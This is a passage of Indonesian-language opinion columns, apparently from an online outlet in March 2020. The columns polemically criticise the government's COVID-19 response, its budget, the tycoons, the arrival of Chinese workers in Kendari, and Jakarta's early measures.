pembangunan infrastruktur, dan seterusnya. Alokasikan dana-dana itu untuk tangani para pasien covid-19 dan dampak ekonominya. Termasuk untuk para perdagang asongan itu. Gak melanggar aturan? Ubah aturannya. Jangan rakyat mati karena kakunya aturan. Aturan dibuat untuk selamatkan dan sejahterakan rakyat. Bukan untuk bunuh rakyat! Kalau anggaran sudah disiapin, paksa rakyat stay di rumah. Bukan himbauan lagi. Instruksikan! Pemerintah buat aturan dan mekanismenya. Detail, lengkap, jelas dan pastikan tersosialisasikan ke rakyat. Dan yang terpenting, dijalankan! Sabtu kemarin ( 21/3) enam orang mati. Entah besok dan besoknya lagi. Tak banyak waktu bagi pemerintah untuk "istiharah" politik. Itu nanti. Lebih baik lakukan ikhtiar kesehatan dan ekonomi. Selamatkan dulu rakyat dengan merumahkan mereka untuk sementara waktu, sehingga tidak menjadi agen penyebaran dan korban covid-19 Penulis adalah Pengamat Politik dan Pemerhati Bangsa

Corona Buka Mata Kita Kalau “Negara Miskin,Taipannya Kaya Raya”

By Dr. Syahganda Nainggolan Jakarta FNN – Minggu (22/03). Jika kita googling "anggaran coronavirus", google memberitahu catatan mulut menteri keuangan beberapa hari terkahir soal anggaran coronavirus ke depan. Terkahir disebutkan sebesar Rp 62 triliun. Sebelumnya Rp 50 triliun, sebelumnya lagi Rp 27 triliun, sebelumnya lagi Rp 8,5 triliun dan sebelumnya lagi antara Rp 5-10 triliun. Roy Salam, dari Budget Center menutup hasil searching itu dengan mengatakan bahwa anggaran "Bencana Non Alam" sebagaimana akan ditetapkan oleh rezim Jokowi untuk kasus coronavirus tidak ada dalam klausul UU APBN 2020. Harus diubah undang-undangnya dulu. Nah, artinya rencana Sri Mulyani itu masih angan-angan saja. Angka-angka rencana anggaran yang terus meningkat. Namun tetap sebagai rencana berjalan seiring dengan meroketnya coronavirus di udara republik ini. Korban terus berjatuhan, frontliner alias jajaran medis rumah sakit mulai kewalahan. Juru bicara pemerintah si Fadjroel Rahman, eh bukan. Maksudnya juru bicara pemerintah untuk urusan Covid-19, Achmad Yurianto, hari demi hari muncul berwibawa di televise. Dia mengumumkan angka-angka kematian yang terus meninggi. Negara Republik Indonesia yang kata mulut-mulut elit kuasa sudah masuk negara besar jajaran G-20. Sudah dinyatakan oleh pemerintah Amerika sebagai negara maju. Juga sudah dinyatakan oleh PBB sebagai Anggota Tidak Tetap Dewan Keamanan PBB. Indonesia sudah diprediksi menjadi negara terkaya keempat di dunia tahun 2050. Yang melakukan memprediksi tersebut adalah Pricewaterhouse Copeers. Akibatnya, Jokowi dan LBP memperkirakan rupiah meroket ke Rp 10.000 per dollar. Sekarang ketahuan belangnya, kalau Indonesia hanyalah negara miskin yang tak berdaya ketika diserang virus corona. Negara tetangga Malaysia tidak sedang menghitung rencana-rencana. Mereka sudah menetapkan anggaran perang coronavirus ini sebesar Rp 76 triliun atau setara dengan U$ 4,8 milyar. Angka ini untuk penduduk Malaysia sebanyak 32 juta jiwa. Tidak lebih banyak dari penduduk Jawa Barat. Mesir sudah menetapkan anggaran di atas Rp 100 triliun. Belanda menetapkan anggaran 65 milyar Euro yang setara dengan U$ 70 milyar dollar. Berapa nilai rupiahnya? Silahkan hitung saja sendiri. Negara Miskin, Taipannya Kaya Setelah ketahuan sebagai negara miskin, kita mengetahui yang kaya di Indonesia adalah taipan-taipan. Berbagai media telah memberitakan kebaikan-kebaikan taipan itu berjasa dalam mengatasi wabah ini. Sinar Mas Group, Adaro Energi, Artha Graha, Djarum, Agung Sedayu, Indofood, Puradelta, dan Triputra. Secara terpisah Charoen Poekpand Indonesia memberi batuan via Yarsi, Wardah Group ke beberapa rumah sakit, Sandi Uno ke Ok Oc. Yayasan Buddha Tzu Chi ke Nahdatul Ulama dan lain-lain. Bahkan berita-berita dan medsos di republik ini banyak mengunduh terima kasih Jack Ma, pengusaha RRC, sudah kirim bantuan ke mana-mana. Namun, dibalik kebaikan taipan-taipan tersebut, akhirnya kita mengetahui bahwa selama 75 tahun Indonesia merdeka, fungsi negara untuk melindungi segenap tumpah darah kita, telah diambil alih swasta. Sedangkan negara masih berdebat soal realokasi anggaran. Jika seorang menteri Republik Indonesia yang membawahi seluruh Badan Usaha Milik Negara (BUMN), membanggakan terima kasih pada swasta-swasta, maka negara telah kehilangan kebanggaan. Sejarah negara di Indonesia terkesan hampir berakhir. Fakta negara miskin sudah tidak usah dipungkiri lagi. Jangan ada lagi dusta diantara kita. Jangan ada puja sana puji sana, sukses sana sukses sini, berhasil sana berhasil sini. Kita juga tidak sedang menihilkan arti kebaikan orang orang kaya dalam situasi seperti ini. Semua kita anggap dan masukan saja dalam kerangka mereka punya maksud baik. Tanpa melupakan urusan perampokan Jiwasraya dan lain-lain. Lalu Bagaimana ke depan? Pembicaraan kita fokus tetap pada pertanyaan, kenapa 75 tahun Indonesia merdeka, negaranya masih miskin? Sedangkan taipan-taipannya yang kaya raya? Kekayaannya menyebar di dimana-mana. Menyebar sampai ke luar negeri. Kekayaannya tujuh turunan tidak habis-habis. Negara yang didesain oleh "founding fathers", Sukarno dan kawan-kawan, bukanlah negara yang miskin. Sedangkan para taipannya yang kaya raya. Negara yang didesain sejak mengusir penjajah kulit putih adalah untuk membuat semua orang-orang sawo matang alias pribumi menjadi tuan rumah di negeri sendiri. Menjadi kaya di negerinya ini. Untuk itu langkah pertama Sukarno dan kawan-kawan selama 25 tahun pertama Indonesia merdeka, yaitu mengambil alih semua kekayaan yang dimiliki Belanda. Semuan kebon, hutan, tambang, ladang minyak, rel kereta api, airport, Java Bank, dijadikan m ilik Indonesia. Langkah kedua Sukarno dan kawan-kawan adalah membangun ekonomi sosialistik. Yakni membangun kekayaan kolektif bagi semua, oleh semua. Artinya kekayaan yang diciptakan bukan untuk segelintir orang. Juga bukan untuk dimiliki serta dikerjakan segelintir orang. Kini, setelah sekian lama kita merdeka, ternyata negara kita tidak menunjukkan arah sebagaimana founding fathers itu merencanakan. Ketimpangan kepemilikan asset, khususnya dalam situasi krisis, memperlihatkan rakyat tidak berdaya. Rakyat mirip pengemis di mata orang-orang kaya. Situasi ini adalah kekonyolan yang harus di ubah. Sebuah bangsa dan sebuah negara adalah eksistensi di atas semua institusi yang ada. Negara harus dijadikan ultimate goal penyerahan kedaulatan individual ke dalam kedaulatan kelompok besar, atau bangsa, atau negara. Jika penyerahan kedaulatan itu bisa dikalahkan oleh sub kedaulatan, seperti taipan-taipan ini, maka ke depan semua harus dirombak ulang. Penutup Wabah Coronavirus telah membuka mata kita sebagai negara yang tidak berdaya. Sesungguhnya sudah tidak berdaya untuk memenuhi janji membangun rumah-rumah hancur gempa di Lombok. Gelontorkan uang untuk selamatkan nyawa manusia terlambat sekali, dibandingkan berbagai negara lain di dunia. Untuk negara sedang seperti Malaysia dan Mesir saja, susah bisa ditandingi. Apalagi negara kaya seperti Belanda dan Amerika. Akhirnya, negara mengundang swasta untuk mengatasi situasi buruk yang ada. Kita tak perlu berprasangka negatif atas kebaikan swasta-swasta ini. Namun kita tidak boleh membiarkan negara di bawah kendali swasta. Sebab, swasta itu pasti hukum kebaikannya adalah prinsip ekonomis "dengan modal sekecil- kecilnya, untuk mendapatkan untung yang sebesar-besarnya". Alasan lainnya, bahkan mungkin yang utama, negara adalah ultimate goal dari penyerahan kedaulatan individual. Tidak ada gunanya negara jika kedaulatan individu sudah diambilnya. Sayangnya, negaranya tak berdaya untuk menyelamatkan kedaulatan indidual tersebut. Ke depan, jika wabah coronavirus berhasil mereda, kita harus mendorong negara dan bangsa kita dikembalikan oada cita-cita pendiri bangsa (founding fathers) kita. Negara adalah satu satunya tempat perlindungan segenap tumpah darah kita. Pesan ini dimuat dalam konstitusi. Sebuah jalan sosialistik. Atau bisa juga mengambil arah sesuai jalan Habib Rizieq Sihab, Negara Bersyariah. Yang jelas negara harus ubber alles, di atas taipan-taipan swasta. Bukan di bawahnya. Penulis adalah Direktur Eksekutif Sabang Merauke Circle

Don't Be Stupid, Indonesia

Oleh Tiar P. Guilliano Jakarta, FNN - Kesalahan atau kekeliruan Italia yang berakibat fatal hingga mengakibatkan ribuan warganya terjangkit virus COVID-19, dengan angka kematian 627 per 24 jam. Hari ini mencapai 3400 jiwa dengan prediksi akan terus bertambah, bukanlah tragedi kemanusiaan yang bisa dipandang sebelah mata! "This .. this is like the end of the world.. for all citizens, Tiarrr...!!" Seru RW, jurnalis sekaligus News Anchor TV Euronews dalam obrolannya dengan saya via video call. Dia agak geregetan karena reaksi saya dilihatnya terlalu datar ketika topik kami mulai mengarah pada kebijakan yang ditempuh Pemerintah Indonesia, tidak segera mengambil kebijakan lockdown seperti negara-negara lain, dan hanya menghimbau warganya untuk Social Distancing. Itu pun suara Jakarta. Daerah lain adem ayem alias cuek bebek. Italia negara yang sudah maju dan modern saja akhirnya kewalahan mengatasi pandemi virus Corona. Setiap hari rumah sakit harus menerima pasien baru sekaligus kematian yang jumlahnya sampai ratusan orang. Sementara tim medis yang dikerahkan dari seluruh negeri satu persatu mulai bertumbangan. Jika bukan karena keletihan ya pasti tertular! Belum lagi jenazah-jenazah yang disimpan di ruangan selama berhari-hari karena harus antri untuk dikremasi, dan kurangnya stock peti mati pun jadi penghambat utama. Hal ini membuat para petugas pemakaman nyaris depresi, dan ikut tumbang, terutama di perfektur Bergamo yang paling banyak makan korban Corona. Mayat- mayat diletakkan begitu saja di ruang terbuka, hanya dibungkus plastik, saking fully book-nya kamar penyimpanan jenazah. Menurut teman saya ini, tingkat kematian di Indonesia akan jauh lebih mengerikan dari pada Italia dalam beberapa hari ke depan, mengingat lambannya tindakan preventif dari awal juga meremehkan hal-hal kecil yang membuat sesuatu berakibat fatal. Dan ketika seluruh negara di dunia menutup diri demi mencegah penyebaran semakin luas, Indonesia akan ditinggal sendiri. Waduuh..!! Saya jelas worry teramat sangat. Tapi ya saya harus bagaimana?! Lagian siapa sih saya ini?! Saya 'kan bukan pejabat, bukan anggota dewan yang terhormat, bukan kader partai hantu blau, apalagi bukan tokoh masyarakat yang suaranya tentu ada yang mendengar. "I'm nobody, Ross," kalimat itu berkali-kali saya tekankan. Dgn harapan teman saya akan bisa memahami betapa sulitnya untuk hidup sehari-hari bagi warga+62, apalagi bersuara di rezim now. Ibarat benang kusut, terlalu kompleks dan ruwet problematika Indonesia. Bahkan bisa jadi hati nurani pemangku kekuasaannya sudah karatan. Jangankan masalah virus mematikan yang jelas bukan berasal dari dalam negeri, wong kematian 700 anggota KPPS di Pilpres kemarin saja cuma lalu bersama angin. Terlampau murah harga nyawa manusia di negeri +62. Ketidakadanya sikap transparan dan informatif pemerintah terhadap ancaman wabah Corona, membuat rakyatnya yang sudah susah masih harus bergelut dengan maut tanpa perlindungan. Rakyat bagai budak yang cuma diperas tenaganya setiap hari, dimanipulasi kepolosannya, dan hanya diberi perhatian semu manakala suara dibutuhkan saat pemilihan. Yang lebih menjengkelkan lagi ada pejabat yang serius mau mencegah penyebaran virus kian meluas demi keselamatan warganya, malah dibilang retorika politik. Ajang cari panggung. Hadeuuh.. pingin banget rasanya saya nyiram air panas ke mulut manusia-manusia yang kualitas otak dan hatinya in-teleekkk macam itu. Bukannya yuuk duduk bersama bahu membahu gelontorkan dana buat kepentingan tim medis, menjamin kebutuhan pokok rakyat biar rakyat merasa gak sendirian, jika memang kas negara kosong tak ada dana untuk menanggulangi wabah virus eh, ini baru ada wacana potong gaji bagi para pejabat saja mereka sudah mati-matian menolak. Pakai dalih masih kurang pula. Dasar!!! Namun menurut teman saya sikap pasif saya justru salah. Dia tahu saya aktif di sosmed, jadi seharusnya lebih gigih menekan, minimal sekali gencar menyuarakan secara masif agar Indonesia segera mengambil sikap tegas dengan me-lockdown wilayahnya. Ajak para netizen utk bersatu dan bersuara lantang demi kebaikan bersama. "Don't be stupid!" Dia mengingatkan, "Italy suffers from neglect..!!" Iya juga sih. Dan sekarang membuat cemas negara-negara tetangganya. Meskipun, ini saya bukan membela mati-matian ya. Sebenarnya Pemerintah Italia cukup cepat bereaksi ketika ditemukan tiga orang turis China terjangkit virus di Roma. Pemerintah sudah amat transparan dan informatif. Tapi emang dasar org Italia terkenal santai, dihimbau tinggal di rumah malah keluyuran terus. Kalau gak ngobrol di warkop kayaknya kurang asik. Walhasil orang yang sudah positif kena virus Corona menulari orang lain lagi tanpa disengaja. Lalu warga di daerah yang telah dinyatakan Red Zone ramai-ramai kabur ke daerah yang aman dengan naik transportasi umum. Bayangkan, berapa org yg sudah mereka tulari? Barulah setelah Pemerintah menindak tegas dengan denda €206-350 atau kurungan tiga bulan bagi warga yang keluar rumah tanpa sertifikat sehat atau Surat Autocertificatezione mereka mulai patuh. Nah, apakah kita akan mengikuti jejak Italia? Kalau saya siih, mengutip syair lagu dari Ebiet G. Ade: Mungkin Tuhan mulai bosan melihat tingkah kita yang selalu salah dan bangga dengan dosa-dosa. Atau, Alam mulai enggan bersahabat dengan kita. Mari kita coba bertanya pada rumput yang bergoyang. Mumpung kita masih diberi waktu..! Note: Right or wrong is our country. Ayolaah kita semua tumbuhkan kesadaran utk turuti anjuran Pemerintah tinggal di rumah dan bekerja di rumah untuk sementara waktu.. Jangan kayak saya keluyuran terus! Penulis wartawan senior.

Komisi III DPR Harus Bongkar Mafia TKA China, Bukan Salahkan Polisi

By Kisman Latumakulita Jakarta FNN – Sabtu (21/030). Corona Virus Disease 2019 (Covid-19), yang mengepung Indonesia hari-hari ini mengawali penyebarannya dari Wuhan, Ibu Kota Provinsi Hubei, Republik Rakyat China (RRC). Entah karena itu atau bukan, tetapi Donald Trump, Presiden Amerika Serikat menyebut “Virus China”. Terang saja China protes. Trumph dianggap tidak memahami pengorbanan rakyatnya, berjuang menyelamatkan ummat manusia. Trumph malah dianggap rasis. Dan Trump? Ya seperti biasanya, tak peduli dengan omongan orang lain. Trump mungkin saja jengekel, karena virus itu mengganggu ketenangan hidup rakyatnya. Sama dengan Amerika, negerinya Trumph itu, di Indonesia, negeri yang dipimpin Jokowi setelah memenangkan pemilu mematikan sekitar tujuh ratusan Petugas Pemungutan Suara (PPS) juga sedang oleh dikepung virus mematikan ini. Sama dengan China, rakyat Indonesia juga terlihat panic. Setidaknya was-was menghadapi virus ganas ini. China boleh bernapas lega. Karena kecenderungan fatal yang dibawa virus ini terlihat mulai terkendali. Kota Wuhan perlahan-lahan terlihat hidup kembali. Tetapi Indonesia? Semakin Gawat. Kecenderungan wilayah penyebarannya meluas. Dari ke hari dalam seminggu jumlah kasus orang terinfeksi terus meninggkat. Yang mati juga terlihat sama, meningkat. Yang sembuh ada juga. Celakanya, di tengah mengganasnya serangan yang virus mematikan ini, eh pekerja-pekerja asal China malah datang. Setelah transit di Thailand, mereka masuk ke Indonesia. Masuknya melalui Bandara Internasional Soekarno-Hatta. Dari Jakarta, mereka yang berjumlah 49 orang tersebut terbang ke Kendari, Sulawesi Tenggara melalui Bandara Haluoleo. Terang saja dan normal saja, kalau orang-orang Kendari, bahkan siapapun yang ada di Bandara malam itu terpana, terperanga, heran atau apapun namanya. Ko, bisa-bisanya mereka dating, di tengah virus mematikan yang berawal dari negerinya. Virus tersebut sekarang lagi mengepung negeri ini. Mereka lenggang kangkung datang untuk bekerja di PT Virtue Dragon Nickel Industri (VDNI) yang berlokasi di Kabupaten Konawe, Sulawesi Tenggara. PT VDNI adalah perusahaan Penanaman Modal Asing (PMA) yang bergerak di bidang industri pengalohan atau pemurnian biji nikel (smelter). Perusahaan milik China ini sudah beroperasi sejak 5-6 tahun yang lalu. Terdorong oleh rasa itu atau bukan, normal saja kalau orang mengambil foto. Tentu saja ambil fotonya diam-diam atas pekerja illegal asal China itu. Logis saja orang menganggap aneh atau apapun namnya dengan kedatangan mereka. Bagaimana tidak aneh, negerinya sendiri belum benar-benar beres dari virus. Sementara negeri kita sedang terkepung oleh virus yang memeatikan ini, eh mereka malah datang. Logis bila orang tak habis piker dengan kenyataan ini. Foto diri tibanya 49 TKA China di Bandara Haluoleo lalu viral. Difoto dan diviralkan oleh Hariono yang ketika itu berada di bandara Haluoleo. Hebohlah jagad media sosial. Sial bagi Harjono. Malam itu juga Harjono ditangkap oleh Polisi Militer (PM) Lanud Bandara Haluoleo. Selanjutnya, Harjono diserahkan ke Kepolisian Daerah Sulawesi Tenggara untuk dimintain keterangan lebih lanjut. Kabarnya, ada orang meminta kepada Kapolda agar Harjono ditahan. Namun menurut sejumlah sumber, Kapolda tidak mau mengiayakan permintaan tersebut. Sebagai Polisi beneran, maksudnya polisi yang profesional, Kapolda jelas tak bisa menahannya. Enak aja main minta orang ditahan. Tahan itu kalau peristiwanya benar-benar ada. Melakukan perbuatan melawan hukum yang memiliki sifat kejahatan, cukup alat bukti, ada saksi-saksinya, dan orang yang menjadi calon tersangka itu waras, tidak sinting, tidak gila. Tidak bisa asal tahan begitu saja. Kalau semua syarat-syarat itu terpenuhi baru bisa ditahan. Itu hanya bisa dilakukan setela diperiksa secara professional. Ini malah datang-datang minta ditahan. Enak aja. Ini bukan negara bandit. Ini negara hukum, malah negara hukum yang berdasarkan Pancasila. Ini negara punya KUHAP. Nah di KUHAP itulah yang mengatur syarat-syarat untuk bisa menahan seseorang. PT VDNI Tampung TKA Ilegal Eh tindakan pemeriksaan itu, juga viral di media sosial. Lalu seperti terskenario, ramai-ramai orang salahkan Kapolda Sulewesi Tenggara. Ada yang minta agar Kapolda harus dicopot lah, beginilah, begitulah. Macam-macam. Ganas betul nadanya. Terus-terusan begitu dalam beberapa hari. Kewarasan orang terlihat melayang, dan hilang seketika. Tak lagi mampu berpikir cermat. Komisi III DPR malah lebih galak lagi. Rencananya mau minta penjelasan ke Kapolri, kelak setelah reses. Keras betul nadanya. Modalnya ya hanya Polda periksa seseorang yang memviralkan foto kedatangan TKA asal China. Cuma hanya itu. Payah betul DPR kita ini. Belakangan setelah heboh pemeriksaan itu, barulah diketahui mereka adalah TKA illegal asal China. Negeri yang miliki Wuhan sebagai Ibu Kota Hubei RRC. Tempat asal-muasalnya virus mematikan ini bermula. Mestinya Komisi III memiliki kepekaan politik kelas tinggi. Mestinya Komisi III bergegas membuka kotak Pandora tentang hal-ihwal pekerja asal China di PT VDNI. Mestinya Komisi III menghidupkan memori tentang adanya sekitar 5.000–10.000 TKA China di Sulawesi Tenggara, yang selama ini menggunakan fasilitas Visa Kunjungan untuk bekerja di PT VDNI. Praktek penggunaan fasilitas Visa Kunjungan untuk bekerja di VDNI sudah berlangsung lama sekali. Sudah bertahun-tahun sejak PT VDNI berdiri di Kabupaten Konawe. Kabarnya, praktek ini diback up sepenuhnya anggota menteri di Kabinet Jokowi sekarang. Namanya Menteri ASU (Atasi Semua Urusan). Seharusnya, praktek busuk dan illegal, yang sudah berlangsung dan bertahun-tahun ini yang dibuka oleh Komisi III DPR. Praktek ini sepintas terlihat banyak tenaga kerja asing di Indonesia. Namun tidak ada pemasukan kepada negara dari TKA China yang menggunakan Visa Kunjungan tersebut. Kalau TKA China itu masuk resmi sebagai pekerja, maka mereka wajib membayar Penerimaan Negara Bukan Pajak (PNBP) sebesar 100 dollar per orang setiap bulan. Praktek kotor inila yang wajib untuk dibuka dan dibongkar oleh Komisi III DPR. Bukan malah main langsung-langsung minta penjelasan ke Kapolri. Ah, payah juga ni Komisi III. Bukan Negeri Bandit & Cukong Apa yang salah dari pemeriksaan Harjono di Polda Sultra itu? Apakah peristiwa mengambil foto itu tidak ada? Apakah Harjono sampaikan informasi yang sifatnya mengarang bebas dotcom atau menyebarkan informasih hoax? Apa mengambil foto itu adalah rekayasa Polisi semata? Apa pengambilan foto dan menyebarkannya itu tidak pernah ada? Apakah Polisi yang menangkap Harjono situkang foto itu? Kalau pengambilan foto yang akhirnya viral itu tidak ada, maka bagaimana bisa mengetahui peristiwa kedatangan TKA Ilegal China itu bisa muncul di media sosial? Bagaimana memastikan semuanya itu? Dengan cara apa? Kalau tidak memeriksa, lalu pakai cara apa untuk mengetahuinya? Gebuk buk-buk? Begitu yang harus dilakukan oleh Polda? Enak aja, main salah-salahin Polda Sultra. Dengan atau tanpa klarifikasi Polda lebih dahulu ke Kepala Bandara Halueleo. Polda juga mengecek PT VDNI sebagai pengguna 49 TKA asal China. Pihak PT VDNI maupun Bandara Haluoleo memberikan jawaban yang seragam kepada Polda Sultra bahwa, “benar mereka akan bekerja di PT VDNI. Mereka bukan tenaga kerja baru di PT VDNI, tetapi yang baru selesai melakukan pernjangan Visa di Jakarta”. Kepala Imigrasi Imigrasi Sultra ketika dikonfirmasi Polda hari itu sedang tidak berada di Tempat. Jawabannya Kepala Imigrasi sedang berada di Jakarta. Informasih yang akurat dan sahih mengenai 49 asal-usul TKA asal China hanya datang dari Otoritas Bandara Haluoleo dan PT VDNI. Sampai disini, Polda Sultra berhak untuk memeriksa siapapun. Syaratnya, harus ada sebuah peristiwa, yang diduga sebagai peristiwa pidana. Ada orangnya yang diduga sebagai pelaku peristiwa tersebut. Sampai di situ titik. Begitulah cara hukum berbicara dan bekerja. Persoalan Imigrasi punya data yang berbeda, itu persoalan lain. Itu persoalan otoritas Imigrasi, baik yang di Jakarta maupun Wilayah Sulawesi Tenggara. Bukan lagi persoalan Polisi. Polisi baru bisa masuk ke persoalan itu bila diminta oleh otoritas imigrasi. Sebaliknya, bila ada peristiwa, yang diduga Polisi sebagai peristiwa pidana, maka dengan atau tanpa laporan masyarakat atau siapapun, Polisi berhak mengambi tindakan hukum, memeriksa. Jadi? Mari hidupkan kewarasan kita. Untuk apa? Supaya negeri ini perlahan-lahan berkembang jadi negeri beradab dalam urusan hukum. Negeri ini tidak menjadi negeri gossip hukum. Juga agar negeri ini tidak jadi negeri bandit-banditan. Tidak menjadi negeri cukong-cukongan hukum. Hukum itu memerlukan otak dan hati. Hukum memanggil kedua hal itu pada setiap detik kehidupan ini. Hukum itu tidak bisa ditegakan pakai emosi. Pakai sentiment ini dan itu. Politik yang diminta hukum adalah politik yang dapat ditakar nalarnya. Punya argumen, punya parameter objektif. Politik jenis itulah yang menjadi fondasi terbentuknya kehidupan hukum dan politik yang sehat. Politik yang menghasilkan masyarakat yang Baldatun Tayyibatun Warobbun Gafur. Begitu titah alamiah hukum. Sindikat TKA Ilegal China Komisi III saya sarankan buka mata. Buka hati dan hidupkan kepekaan politik mengenal soal TKA China ini, termasuk cara penanganan Corona ini. Komisi III harus tahu lebih jelas peristiwa ditolaknya TKA asal China yang kembali masuk ke Indonesia pada tanggal 19 Maret lalu. Ini adalah peristiwa kedua setelah peristiwa pertama. Saya sebut peristiwa 49 TKA heboh itu. Mengapa saya minta itu? Karena ada tiga hal. Pertama, pada peristiwa kedua, yaitu peristiwa tanggal 19 Maret, Otoritas Imigrasi Bandara Soekarno-Hatta menolak masuk 43 TKA Asal China. Apa penyebabnya? Dilansir oleh RMol, 19/3/2020, mereka tidak lolos tes kesehatan dari otoritas kesehatan Bandara Soeta. Kedua, apa dasar tes kesehatan itu? Menurut Gidam seperti dilansir RMol pada tanggal yang sama, dasar tindakan itu adalah Peraturan Menteri Hukum dan HAM No.7 Tahun 2020 Tentang Pemberian Visa dan Izin Tinggal Dalam Upaya Pencegahan Masuknya Virus Corona. Peraturan ditetapkan dan ditandangani pada tanggal 22 Februari 2020 lalu. Gidam juga menjelaskan, berdasarkan sertifikat kesehatan Bandara Soeta, mereka tolak 43 TKA asal China. Keputusan ini diambil berdasarkan rekomendasi otoritas kesehatan Bandara. Gidam menegaskan lebih jauh berdasarkan Visa yang dimiliki mereka menggunakan jenis Visa B.211, yaitu dalam rangka uji coba calon tenaga kerja asing di Indonesia. Ditambahkan juga, 43 TKA warga negara China itu datang ke Indonesia, lagi-lagi melalui atau transit di Thailand. Mereka diduga akan bekerja di PT VDNI di Konawe, Sulawesi Tenggara. Tuan-tuan Komisi III yang hebat-hebat harus tahu, bahwa Permenkumham No. 7 diatas menggantikan Peraturan Menteri Hukumham No. 3 Tahun 2020 Tentang Penghentian Sementara Bebas Visa Kunjungan, Visa dan Pemberian Izin Tinggal Keadaan Terpaksa Bagi Warga Negara Republik Tiongkok. Ketiga, apakah peraturan ini tidak berlaku untuk 49 TKA Ilegal asal China, yang berdasarkan pemeriksaan Tim Pemeriksa Kemenaker, yang dinyatakan oleh Dita Indahsari, Staf Khusus Menaker, illegal itu? Apakah 49 orang itu beres kesehatannya? Apa mereka bebas dari virus Corona mematikan itu? Apa mereka punya sertifikat kesehatan dari otoritas kesehatan Bandara Soeta? Tuan-tuan hebat di Komisi III DPR. Tuan-tuan harus gunakan kemuliaan politik yang tuan-tuan punyai untuk lebih cermat. Tuan-tuan perlu lebih cerdas lagi dari kecerdasan yang tuan-tuan sudah punyai untuk mengenali fenomena TKA asal China ini? Tidakkah tuan-tuian dapat mengetrti bahwa dalam waktu yang berjarak dekat, telah datang 92 orang TKA asal China? Apa tuan-tuan punya data akurat tentang jumlah TKA Asal China di Kendari? Apa tuan-tuan juga punya data akrat TKA asal China yang ada di Morowali, Sulawesi Tengah? Apa tuan-tuan juga punya data TKA asal China di Weda, Halmahera Tengah, Maluku Utara? Apa tuan-tuan juga punya data TKA asal China di Pulau Obi, Halmahera Seltan, Maluku Utara? Ah, tuan-tuan jangan sok jagoan pada soal pemeriksaan Polda terhadap Harjono, anak yang sudah menjadi Pahlawan itu? Tuan harus lebih jauh mengenal Permenkumham di atas. Corona menyarang, membabi buta, dan ganas. Orang-orang Indonesia lalu disuruh tinggal di rumah, tetapi Menteri Hukumham membikin kebijakan itu. Apa tuan-tuan tak punya kepekaan? Sudahlah tuan-tuan, waraslah. Tindakan Polda Sultra itu, tidak bisa dengan alas an apapun, atau sengaco apapun, mau diaggap salah, dan tidak masuk akal. Karena itu, tuan-tuan minta penjelasn ke Pak Kapolri. Susdahlah, mari kita gunakan akal waras, agar bangsa ini tetap menjadi yang waras di tengah Corona yang ganas dan mematikan ini. Penulis adalah Wartawan Senior

Satu Persatu Mati di Jakarta, Siapa Yang Salah?

By Tony Rosyid Jakarta FNN – Sabtu (21/03). Pek... Pek... Pek... Tumbang dan mati. Ini terjadi di China, Itali dan beberapa negara lain. Di Indonesia? Boleh jadi hanya menunggu waktu. Sudah 369 positif Covid-19. Sembuh 17 orang dan 32 meninggal. Cukup tinggi angka kematiannya. Sekitar 8,6 persen. Bandingkan dengan di Wuhan China, asal covid-19. 80.928 positif Covid-19. 70.420 sembuh. 4.245 meninggal. Hanya sekitar 4 persen. Secara medis, penanganan Rumah Sakit di China lebih baik dari Indonesia. Sementara tingkat penularan covid-19 punya pola yang sama di semua negara. Super cepat. Lihat angkanya, mula-mula Cuma 2 orang positif Covid-19 di Depok. Lalu 19, kemudian 27, naik lagi jadi 34, terus naik jadi 69, besoknya sudah 96, lalu 117, kemudian 134, naik 227, terus bertambah jadi 311. Dan kemarin sudah tembus angka 369. Besok? Dan besoknya lagi? Apakah termasuk anda yang tertular dan yang menularkan? Korban covid-19 terbanyak di Jakarta. 215 orang positif dan 17 orang meninggal. Sudah 13 orang yang sembuh. Untuk saat ini, yang meninggal lebih banyak dari yang sembuh. Di daerah lain bagaimana ? Belum ada yang sembuh. Dan covid-19 sudah sampai di seluruh Jawa, Bali, beberapa daerah Sumatera Sulawesi, dan Kalimantan. Tanggal 22 Januari, hampir dua bulan lalu, ketika di Indonesia belum ada pasien positif Covid-19, Anies kumpulkan jajaran Pemprov DKI. Untuk apa? Untuk koordinasi dan konsolidasi. Menyiapkan tenaga medis, alat medis dan SOP. Tujuannya, untuk menghadapi dan menangani wabah covid-19. Dinas kesehatan DKI konferensi Pers. Tanggal 29 Pebruari, Anies, atas nama gubernur DKI mengeluarkan Ingub terkait persiapan menghadapi wabah covid-19. Anies dibully. Di berbagai media sosial Anies dicaci maki. Dianggap telah membuat kegaduhan di masyarakat. Bikin panik orang! Kata mereka yang kebenciannya sudah diubun-ubun. Eskalasi kemarahan terhadap Anies juga semakin tinggi. Apa kesalahan Anies? Karena Anies memiliki data tentang penyebaran covid-19. Anies ahli di bidang statistik. Dan pernah menjadi asisten profesor untuk bidang statistik sewaktu kuliah di Amerika. Dibantu data dari ahli medis, Anies mulai hitung tingkat penyebaran covid-19. Pakai angka-angka. Ternyata, sangat cepat dan dahsyat penyebarannya. Di tengah para menteri dan staf istana bespekulasi bahwa Indonesia bebas covid-19, Anies justru siapkan jajaran pegawai pemprov DKI untuk menghadapi penyebaran covid-19. Tak tanggung- tanggung, Anies keluarin Instruksi Gubernur (Ingub) dan konferensi pers. Kenapa Anies melakukan itu? Karena Anies memastikan bahwa covid-19 akan masuk ke Jakarta. Anies punya data medis terkait covid-19, dan telah menghitung secara statistik penyebaran virus mematikan ini. Ini hitungan ilmiah, bukan hipotesis "nasi kucing" atau "imajinasi tropis". Saat itu, Anies dianggap penghayal kelas berat. Namun, dua hari berikutnya, yaitu tanggal 2 Maret, presiden Jokowi mengumumkan ada 2 orang di Depok yang positif Covid-19. Dan setelah itu, angkanya terus naik. Hari demi hari. Begitu juga orang yang mati. Berbagai rencana terukur telah dibuat Anies. Tutup semua tempat wisata dan CFD, batalkan event-event publik, batasi jam buka restoran, liburkan sekolah, dan anjuran kepada seluruh masyarakat DKI untuk jauhi kerumunan dan stay di rumah. Langkah Anies kemudian diikuti oleh wilayah dan daerah yang lain. Kecuali meliburkan sekolah, walikota Solo mengawali sehari sebelum Jakarta. Tetapi, jalanan di Jakarta masih ramai. Aktifitas perkantoran tetap berjalan. Di situlah covid-19 bergentayangan. Satu persatu positif. Sebanyak 17 orang mati dalam jangka waktu kurang dari dua pekan. Anies kurangi alat transportasi. Sebaliknya, ganjil genap dihentikan. Tujuannya? Supaya masyarakat Jakarta sadar, jangan pakai transportasi umum lagi! Resiko tinggi tertular dan menularkan. Terminal Busway maupun stasiun MRT/LRT berjubel orang. Gerutu, marah, bully, maki-maki dan sumpah serapah kepada Anies berhamburan keluar di 